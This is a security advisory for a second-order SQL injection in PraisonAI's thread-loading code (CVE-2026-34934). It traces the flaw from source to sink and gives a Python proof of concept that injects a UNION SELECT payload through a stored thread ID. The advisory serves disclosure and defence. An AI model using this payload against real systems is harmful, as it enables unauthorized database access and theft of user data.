PYSEC-2026-470

Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:23
VLAI
Details

Summary

The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.

Details

File Path:
src/praisonai/praisonai/ui/sql_alchemy.py

Flow: - Source (Line 539):

await data_layer.update_thread(thread_id=payload, user_id=user)
  • Hop (Line 547):
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
  • Sink (Line 576):
WHERE s."threadId" IN {thread_ids}

Proof of Concept (PoC)


import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer

async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")

    # Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread", 
        user_id="attacker"
    )

    # Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"

    await data_layer.update_thread(
        thread_id=payload, 
        user_id="attacker"
    )

    # Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")

    for thread in result:
        if getattr(thread, 'id', '') == 'valid_thread':
            for step in getattr(thread, 'steps', []):
                print(getattr(step, 'id', ''))

asyncio.run(run_poc())

# Expected Output:
# sqlite_master table names printed to console

Impact

An attacker can achieve full database compromise, including:

  • Exfiltration of sensitive data (user emails, session tokens, API keys)
  • Access to all conversation histories
  • Ability to modify or delete database contents
Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Impacted products
Name purl
praisonai pkg:pypi/praisonai
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai",
        "purl": "pkg:pypi/praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.90"
            }
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          "type": "ECOSYSTEM"
        }
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    }
  ],
  "aliases": [
    "CVE-2026-34934",
    "GHSA-9cq8-3v94-434g"
  ],
  "details": "## Summary\n\nThe `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access.\n\n ---\n\n## Details\n\n**File Path:**  \n`src/praisonai/praisonai/ui/sql_alchemy.py`\n \n**Flow:**\n- **Source (Line 539):**\n```python\nawait data_layer.update_thread(thread_id=payload, user_id=user)\n```\n\n- **Hop (Line 547):**\n```python\nthread_ids = \"(\u0027\" + \"\u0027,\u0027\".join([t[\"thread_id\"] for t in user_threads]) + \"\u0027)\"\n```\n\n- **Sink (Line 576):**\n```sql\nWHERE s.\"threadId\" IN {thread_ids}\n```\n\n---\n\n## Proof of Concept (PoC)\n\n```python\n\nimport asyncio\nfrom praisonai.ui.sql_alchemy import SQLAlchemyDataLayer\n\nasync def run_poc():\n    data_layer = SQLAlchemyDataLayer(conninfo=\"sqlite+aiosqlite:///app.db\")\n\n    # Insert a valid thread\n    await data_layer.update_thread(\n        thread_id=\"valid_thread\", \n        user_id=\"attacker\"\n    )\n\n    # Inject malicious payload\n    payload = \"x\u0027) UNION SELECT name, null, null, \u0027valid_thread\u0027, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--\"\n\n    await data_layer.update_thread(\n        thread_id=payload, \n        user_id=\"attacker\"\n    )\n\n    # Trigger vulnerable function\n    result = await data_layer.get_all_user_threads(user_id=\"attacker\")\n\n    for thread in result:\n        if getattr(thread, \u0027id\u0027, \u0027\u0027) == \u0027valid_thread\u0027:\n            for step in getattr(thread, \u0027steps\u0027, []):\n                print(getattr(step, \u0027id\u0027, \u0027\u0027))\n\nasyncio.run(run_poc())\n\n# Expected Output:\n# sqlite_master table names printed to console\n```\n\n---\n\n## Impact\n \nAn attacker can achieve full database compromise, including:\n\n- Exfiltration of sensitive data (user emails, session tokens, API keys)\n- Access to all conversation histories\n- Ability to modify or delete database contents",
  "id": "PYSEC-2026-470",
  "modified": "2026-07-01T20:23:01.446489Z",
  "published": "2026-06-29T11:50:46.446329Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9cq8-3v94-434g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34934"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonai"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9cq8-3v94-434g"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`"
}



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